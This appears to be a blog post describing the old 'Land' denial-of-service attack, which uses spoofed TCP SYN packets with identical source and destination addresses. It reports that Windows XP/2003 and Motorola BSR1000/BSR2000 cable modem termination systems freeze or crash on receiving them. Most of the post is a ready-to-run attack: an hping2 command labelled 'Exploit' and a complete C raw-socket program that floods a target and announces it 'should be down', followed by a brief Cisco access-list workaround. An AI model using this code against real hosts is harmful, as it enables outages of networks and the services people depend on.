Land attack - 21th century

I was greatly surprised having found out that some of the modern network devices were subjected to the attacks of the Land type. It is rather old DDOS-attack dated back to 1997. The main idea of an attack is to send the network packet to the victim, where both destination and source addresses are victim's address.

Different systems responds to this attack differently. Windows NT/95 (despite the service pack type) shows different reactions: from almost full freezing for few seconds (with sending only one packet) to the Blue Screen Of Death (with serial packet sending). In 1997 network device's vendors successfully fulfilled the mentioned type of attack in their systems so that nowadays none could remember that. But it turned out to be too early to relax as the many of the modern network devices and OS's are still considerably subjected on this attack.

Strangely enough but Windows XP and Windows 2003 are in this list of victims too. For example Windows XP could be fully freezed for a half minute by only one such network packet. From other side Windows 2003 behaves a bit more steadily in such case. But nevertheless the mini-storm of such a packets leads to considerable slowing down of both OS 's operating and to great consumption of operating memory and, as a result, finally to the Blues Screen Of Death.

Besides by only one packet could be "killed" two wonderful network devices such as BSR1000 and BSR2000 by Motorola Co. BSR1000 (and BSR2000 too) is a cable modem termination system or CMTS *. Both of mentioned network devices behave quite identically - their OS's just stops. And after such experiment the "cold restart" is needed to start up the device.

Exploit

./hping2 x.x.x.x -a x.x.x.x -s 445 -p 445 -S -k

where x.x.x.x is a victim's IP address

Code

#include <stdio.h> 
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h> 
#include <sys/socket.h> 
#include <arpa/inet.h>
#include <ctype.h> 
#include <sysexits.h> 
 
#define __FAVOR_BSD
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#undef __FAVOR_BSD
#include <netinet/udp.h>
 
u_short checksum (u_short *addr, int len)
{
	u_short *w = addr;
	int i = len;
	int sum = 0;
	u_short answer;
 
	while (i > 0)
	{
		sum += *w++;
		i-=2;
	}
 
	if (i == 1) sum += *(u_char *)w;
	sum = (sum >> 16) + (sum & 0xffff);
	sum = sum + (sum >> 16);
 
	return (~sum);
};
 
int main(int argc, char ** argv)
{
	struct in_addr src, dst;
	struct sockaddr_in sin;
	struct _pseudoheader
	{
		struct in_addr source_addr;
		struct in_addr destination_addr;
		u_char zero;
		u_char protocol;
		u_short length;
	} pseudoheader;
	struct ip * iph;
	struct tcphdr * tcph;
	int mysock;
	u_char * packet;
	u_char * pseudopacket;
	int on = 1;
 
	if( argc != 4)
	{
		fprintf(stderr, "Usage: %s <dest ip> <dest port> <number of packets>\\n", argv[0]);
		return EX_USAGE;
	};
 
	if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
	{
		perror("malloc()\\n");
		return EX_OSERR;
	};
 
	inet_aton(argv[1], &src);
	inet_aton(argv[1], &dst);
	iph = (struct ip *) packet;
	iph->ip_v = IPVERSION;
	iph->ip_hl = 5;
	iph->ip_tos = 0;
	iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
	iph->ip_off = htons(IP_DF);
	iph->ip_ttl = 255;
	iph->ip_p = IPPROTO_TCP;
	iph->ip_sum = 0;
	iph->ip_src = src;
	iph->ip_dst = dst;
	tcph = (struct tcphdr *)(packet +sizeof(struct ip));
	tcph->th_sport = htons(atoi(argv[2]));
	tcph->th_dport = htons(atoi(argv[2]));
	tcph->th_seq = ntohl(rand());
	tcph->th_ack = rand();
	tcph->th_off = 5;
	tcph->th_flags = TH_SYN;
	tcph->th_win = htons(512);
	tcph->th_sum = 0;
	tcph->th_urp = 0;
	pseudoheader.source_addr = src;
	pseudoheader.destination_addr = dst;
	pseudoheader.zero = 0;
	pseudoheader.protocol = IPPROTO_TCP;
	pseudoheader.length = htons(sizeof(struct tcphdr));
 
	if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
	{
		perror("malloc()\\n");
		return EX_OSERR;
	};
 
	memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
	memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
	tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
	mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
 
	if(!mysock)
	{
		perror("socket!\\n");
		return EX_OSERR;
	};
 
	if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	{
		perror("setsockopt");
		shutdown(mysock, 2);
		return EX_OSERR;
	};
 
	sin.sin_family = PF_INET;
	sin.sin_addr = dst;
	sin.sin_port = htons(80);
 
	int np = atoi(argv[3]);
	int n;
 
	for (n = 0; n < np; n++)
	{
		if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
		{
			perror("sendto()\\n");
			shutdown(mysock, 2);
			return EX_OSERR;
		};
	};
 
	printf("Packet sent. Remote machine should be down.\\n");
	shutdown(mysock, 2);
	return  EX_OK;
};
 
 

Download this code: landdos.c

Workarounds

Add some firewall-related lines into configuration file:
-
ip access-group 111 in
access-list 111 deny ip any host x.x.x.x
access-list 111 permit ip any any
-

where x.x.x.x is an IP address of CMTS.

* More informational article about CMTS can be found at http://en.wikipedia.org/wiki/CMTS

Google Bookmarks Digg Reddit del.icio.us Ma.gnolia Technorati Slashdot Yahoo My Web Memori.ru rucity.com

Leave a Reply